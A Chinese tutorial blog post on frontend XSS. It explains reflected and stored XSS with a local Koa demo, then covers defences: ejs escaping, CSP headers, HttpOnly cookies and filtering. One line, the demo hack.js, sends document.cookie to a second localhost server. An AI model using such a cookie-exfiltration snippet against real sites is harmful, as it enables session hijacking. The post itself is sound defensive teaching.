前端安全-XSS

一起养成写作习惯！这是我参与「掘金日新计划 · 4 月更文挑战」的第18天，点击查看活动详情。

XSS（Cross-Site Scripting），跨站脚本攻击，因为缩写和CSS重叠，所以只能叫XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击

XSS危害：

1.获取页面数据

2.获取cookie

3.劫持前端逻辑

4.发送请求

5.偷取网站数据

6.偷取用户的登录态

XSS攻击分类：

1.反射性：url直接注入

1.1

在浏览器上直接访问 :http://localhost:3000/?from=china

router.get('/', async (ctx) => {    
    await ctx.render('index', {        
        from: ctx.query.from    
    });
});

从query拿到from值，直接渲染到了页面上。

1.2

在浏览上直接访问：http://localhost:3000/?from=

发现能直接弹出框

1.3

在浏览上直接访问：http://localhost:3000/?from=**

浏览器直接运行了hack.js脚本，从而获取到了用户的cookie\

1.4

看下hack.js

var img = new Image()img.src='http://localhost:4000/img?c='+document.cookie

2.存储型： 存储到DB后读取时注入

---

2.1

页面上有个评论功能，在输入框中输入发现能够弹出框

2.2

    跨站脚本注入：

    在评论框中输入：

    这样每次刷新页面，都会执行这个评论。

XSS防范手段：

1.ejs转义

    <% code %> 用于执行js代码

    <%= code %> 会对code进行html转义

    <%- code %>不会转义

2.CSP

     2.1

    内容安全策略（CSP，Content Security Policy）是一个附加的安全层，用于帮助检测和缓解某些类型的攻击，包括XSS和数据注入等攻击。

    2.2

    CSP本质上是建立白名单，开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则，如何拦截由浏览器实现，可以通过CSP尽量减少XSS攻击。

    2.3

    配置规则:

      1.只允许加载本站资源：Content-Security-Policy:default-src 'self'

      2.只允许加载https协议图片：Content-Security-Policy: img-src https://*

      3.不允许加载任何框架：Content-Security-Policy: child-src 'none'

     2.4

    HttpOnly Cookie:

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

    2.5

    黑名单:手动转义。缺点：富文本不能转义所有字符。

    2.6

    白名单：xss库

下篇文章开始讲解csrf攻击、点击劫持、sql注入。